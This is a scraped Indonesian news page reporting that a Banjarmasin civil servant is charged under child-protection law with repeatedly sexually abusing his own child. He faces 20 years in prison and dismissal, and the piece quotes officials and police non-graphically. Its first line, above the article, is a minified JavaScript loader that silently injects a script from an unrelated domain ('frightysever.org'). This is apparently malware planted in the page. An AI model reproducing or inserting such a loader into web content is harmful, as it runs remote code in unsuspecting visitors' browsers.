(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

AS ‘Pelahap’ Anak Sendiri Diancam Penjara 20 Tahun, Dipecat Secara Tidak Hormat!


KANALKALIMANTAN.COM, BANJARMASIN – Tindak pidana persetubuhan tersangka oknum ASN Pemko Banjarmasin di salah satu kelurahan di Banjarmasin, bakal berakhir oenjara dan ancaman pencopotan seragam. AS (46) terancam hukuman 20 tahun penjara dan terancam dipecat secara tidak hormat dari korps pegawai negeri.

Ya, AS saat ini ditahan di Mapolresta Banjarmasin karena tuduhan tindak pidana persetubuhan terhadap anak kandung sendiri tersebut akan dijatuhkan dengan Undang-Undang perlindungan anak. Pasal yang dikenakan adalah 81 ayat 3 UU nomor 35 tahun 2014 tentang Perlindungan Anak dengan ancaman hukuman 20 tahun penjara.

Terkait kasus asusila oknum ASN AS, Penjabat Sekda Kota Banjarmasin Mukhyar dengan tegas mengatakan, yang bersangkutan akan diberhentikan secara tidak hormat.

“Bila ada keputusan pengadilan inkrah, akan diberhentikan secara tidak hormat, segala haknya, seperti uang pensiun dan lain sebagainya ditiadakan,” tegas Mukhyar.

 

Menurut Mukhyar, AS jelas sudah mencoreng nama baik Pemerintah Kota Banjarmasin dan perbuatannya sudah tak bisa lagi ditolerir. Dirinya berharap semoga tak ada lagi ASN yang terjerat kasus, baik narkotika ataupun asusila.

Belakangan diketahui AS selama bertugas juga sering melakukan pelanggaran disiplin pegawai negeri.

“Memang yang bersangkutan (AS, red) sering juga berulah pelanggaran disiplin, kerap meninggalkan tugas, tidak masuk kerja. Beberapa kali pernah mendapatkan sanksi disiplin,” tutur Mukhyar.

Sejatinya kasus ini menjadi pelajaran bagi ASN lainnya. Mukhyar berharap ke depan peristiwa serupa tidak terulang lagi.

“Tak bisa lagi ditolerir. Entah kedapatan memakai narkotika dan tindak kejahatan lainnya. Semoga tak ada lagi ASN yang terjerat kasus,” tutupnya.

AS diduga menyetubuhi anak sendiri karena tak kuasa menahan hawa nafsu akibat ketagihan nonton film dewasa.

Perbuatan ayah kepada anak sendiri tersebut diketahui sudah sering dilakukan sejak anaknya masih duduk di bangku kelas enam SD, hingga kini sudah duduk di kelas dua SMP.

Kapolresta Banjarmasin Kombes Pol Rachmat Hendrawan mengatakan, tindak pidana persetubuhan terhadap anak kandung sendiri tersebut akan dijatuhkan dengan Undang-Undang perlindungan anak.

“Atas perbuatannya pelaku akan kita jerat dengan pasal 81 ayat 3 Undang-Undang nomor 35 tahun 2014,” ucap Kapolres Kota Banjarmasin.

Dalam melakukan aksinya, AS mengakui tidak dalam pengaruh alkohol ataupun narkoba. Tersangka menyetubuhi anak kandungnya dalam keadaan sadar.

“Pelaku melakukannya dalam keadaan sadar, dan pelaku sudah sebanyak empat kali melakukan aksi, awalnya pelaku melakukan sejak tahun 2019 lalu,” pungkas Kombes Pol Rachmat Hendrawan. (kanalkalimantan.com/bie)
Reporter: bie
Editor : kk


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.